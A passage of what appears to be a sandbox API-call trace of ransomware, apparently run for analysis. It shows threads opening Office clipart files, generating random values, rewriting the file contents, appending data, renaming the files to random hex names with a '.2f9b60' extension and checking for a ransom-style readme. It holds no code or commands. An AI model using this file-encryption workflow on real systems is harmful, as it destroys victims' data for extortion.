_Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="28") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="53") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="d1") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="0a") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="fa") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="61") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="57") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="91") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="b1") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="b3") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="23") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="61") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="d1") returned 2 [0165.423] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="b7") returned 2 [0165.423] RtlInitAnsiString (in: DestinationString=0x1e2ffb08, SourceString="548169c632ed39ffa2882853d10afa615791b1b32361d1b7" | out: DestinationString="548169c632ed39ffa2882853d10afa615791b1b32361d1b7") [0165.423] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e2ffad8, SourceString="548169c632ed39ffa2882853d10afa615791b1b32361d1b7", AllocateDestinationString=1 | out: DestinationString="548169c632ed39ffa2882853d10afa615791b1b32361d1b7") returned 0x0 [0165.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14dc0 [0165.424] RtlFreeAnsiString (AnsiString="5") [0165.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eaa0) returned 1 [0165.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce128f0) returned 1 [0165.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b80) returned 1 [0165.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1bb0) returned 1 [0165.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b50) returned 1 [0165.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b20) returned 1 [0165.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a330) returned 1 [0165.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a6f0) returned 1 [0165.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050edd0) returned 1 [0165.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30130 [0165.427] wcscat (in: _Dest=0x42c30130, _Source="548169c632ed" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed" [0165.427] wcscat (in: _Dest=0x42c30130, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed.2f9b60" [0165.427] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed.2f9b60", NtPathName=0x1e2ffab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\548169c632ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22f20 Thread: id = 1495 os_tid = 0x19b0 [0120.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0122.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF", dwFileAttributes=0x20) returned 1 [0122.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0122.528] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x1e62fd40 | out: lpFileSize=0x1e62fd40*=4024) returned 1 [0122.529] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.529] ReadFile (in: hFile=0xfdc, lpBuffer=0x1e62fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e62fd08, lpOverlapped=0x0 | out: lpBuffer=0x1e62fcc0*, lpNumberOfBytesRead=0x1e62fd08*=0x4, lpOverlapped=0x0) returned 1 [0122.565] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df60 [0122.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dff0 [0122.565] NtQuerySystemTime (in: CurrentTime=0x1e62fc00 | out: CurrentTime=0x1e62fc00*=132462177279430000) returned 0x0 [0122.565] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x7af65f65 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x32a37b53 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x2eb27692 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x13b16680 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x2eb27692 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x5944b602 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x2afcc2d7 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x760f1ed [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x4b631acd [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x44343aff [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x7dc05455 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x34524aea [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x196b4584 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x190fb2d9 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x507a468c [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x1e78f6a1 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x42a3df9f [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x36dd3daf [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x6f7b8612 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x5fa63cbb [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x4cec760a [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x19de153a [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x708153e6 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0xe7eca83 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x1a838d41 [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x262066e [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x4550e65f [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x71db31fa [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x5e98a08a [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x58fa642e [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x34524aea [0122.566] RtlRandomEx (in: Seed=0x1e62fbf0 | out: Seed=0x1e62fbf0) returned 0x23b6263e [0122.573] ReadFile (in: hFile=0xfdc, lpBuffer=0x20473b80, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x1e62fbf0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesRead=0x1e62fbf0*=0xfb8, lpOverlapped=0x0) returned 1 [0122.573] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.573] WriteFile (in: hFile=0xfdc, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0xfb8, lpNumberOfBytesWritten=0x1e62fbf4, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x1e62fbf4*=0xfb8, lpOverlapped=0x0) returned 1 [0122.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0122.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1f0 [0122.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1f0) returned 1 [0122.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0122.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0122.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0122.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0122.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f1f0 [0122.836] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.836] WriteFile (in: hFile=0xfdc, lpBuffer=0x204ffc30*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e62fd10, lpOverlapped=0x0 | out: lpBuffer=0x204ffc30*, lpNumberOfBytesWritten=0x1e62fd10*=0x10a, lpOverlapped=0x0) returned 1 [0123.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dea0 [0123.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dea0) returned 1 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dea0 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de70 [0123.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de70) returned 1 [0123.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.060] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="6b") returned 2 [0123.060] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="51") returned 2 [0123.060] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="14") returned 2 [0123.060] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="24") returned 2 [0123.060] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="82") returned 2 [0123.061] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="22") returned 2 [0123.061] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="48") returned 2 [0123.061] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="0d") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="61") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="43") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="bd") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="1c") returned 2 [0123.061] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="30") returned 2 [0123.061] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="a7") returned 2 [0123.061] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b1") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="91") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="4b") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="96") returned 2 [0123.061] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.061] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="a8") returned 2 [0123.061] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="0e") returned 2 [0123.061] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="63") returned 2 [0123.061] RtlInitAnsiString (in: DestinationString=0x1e62fd88, SourceString="6b5114248222480d6143bd3c1c30a7b1917f4b96e9a80e63" | out: DestinationString="6b5114248222480d6143bd3c1c30a7b1917f4b96e9a80e63") [0123.061] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e62fd58, SourceString="6b5114248222480d6143bd3c1c30a7b1917f4b96e9a80e63", AllocateDestinationString=1 | out: DestinationString="6b5114248222480d6143bd3c1c30a7b1917f4b96e9a80e63") returned 0x0 [0123.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0123.062] wcscat (in: _Dest=0x202b1d70, _Source="6b5114248222" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222" [0123.062] wcscat (in: _Dest=0x202b1d70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222.2f9b60" [0123.062] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222.2f9b60", NtPathName=0x1e62fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6b5114248222.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0123.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0123.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292180) returned 1 [0123.401] NtQueryInformationFile (in: FileHandle=0xfdc, IoStatusBlock=0x1e62fd98, FileInformation=0x1e62fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e62fd98, FileInformation=0x1e62fda8) returned 0x0 [0123.401] NtSetInformationFile (FileHandle=0xfdc, IoStatusBlock=0x1e62fd98, FileInformation=0x1e62fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0123.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0123.408] FlushFileBuffers (hFile=0xfdc) returned 1 [0123.414] CloseHandle (hObject=0xfdc) returned 1 [0123.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0970 [0123.420] wcscpy (in: _Dest=0x202b0970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.420] wcscat (in: _Dest=0x202b0970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 [0123.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b070) returned 1 Thread: id = 1496 os_tid = 0x19b4 [0120.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0122.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF", dwFileAttributes=0x20) returned 1 [0122.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe0 [0122.518] GetFileSizeEx (in: hFile=0xfe0, lpFileSize=0x1e6cfe20 | out: lpFileSize=0x1e6cfe20*=14444) returned 1 [0122.518] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x3868, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.518] ReadFile (in: hFile=0xfe0, lpBuffer=0x1e6cfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e6cfde8, lpOverlapped=0x0 | out: lpBuffer=0x1e6cfda0*, lpNumberOfBytesRead=0x1e6cfde8*=0x4, lpOverlapped=0x0) returned 1 [0122.557] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0122.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df60 [0122.557] NtQuerySystemTime (in: CurrentTime=0x1e6cfce0 | out: CurrentTime=0x1e6cfce0*=132462177279430000) returned 0x0 [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x125d540e [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x576709e0 [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x298f0f8d [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x392b3393 [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x208a0841 [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x6c85be2d [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x5ac14df7 [0122.557] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x117b8169 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x2c81f129 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x1fd0c107 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x1e3606a7 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x15de6840 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x3d12e1a5 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x464fba90 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x125d540e [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x40c927e0 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x4b631acd [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x32886ace [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x2ea91117 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x1fda7390 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x3d969fb [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x190fb2d9 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0xd450bec [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x76135cb0 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x287a11b8 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x13868dc0 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0xaccfc32 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x3bc99d83 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x1e78f6a1 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x16e81988 [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0xdf9a58e [0122.558] RtlRandomEx (in: Seed=0x1e6cfcd0 | out: Seed=0x1e6cfcd0) returned 0x631c0917 [0122.565] ReadFile (in: hFile=0xfe0, lpBuffer=0x204aff70, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x1e6cfcd0, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesRead=0x1e6cfcd0*=0x386c, lpOverlapped=0x0) returned 1 [0122.583] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.583] WriteFile (in: hFile=0xfe0, lpBuffer=0x204b7790*, nNumberOfBytesToWrite=0x386c, lpNumberOfBytesWritten=0x1e6cfcd4, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesWritten=0x1e6cfcd4*=0x386c, lpOverlapped=0x0) returned 1 [0122.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0122.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0122.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2b0) returned 1 [0122.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0122.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0122.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0122.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059380) returned 1 [0122.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f2b0 [0122.838] SetFilePointerEx (in: hFile=0xfe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.838] WriteFile (in: hFile=0xfe0, lpBuffer=0x204ffd50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e6cfdf0, lpOverlapped=0x0 | out: lpBuffer=0x204ffd50*, lpNumberOfBytesWritten=0x1e6cfdf0*=0x10a, lpOverlapped=0x0) returned 1 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df30 [0123.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df30) returned 1 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df30 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0123.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df00) returned 1 [0123.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.053] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="21") returned 2 [0123.053] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="eb") returned 2 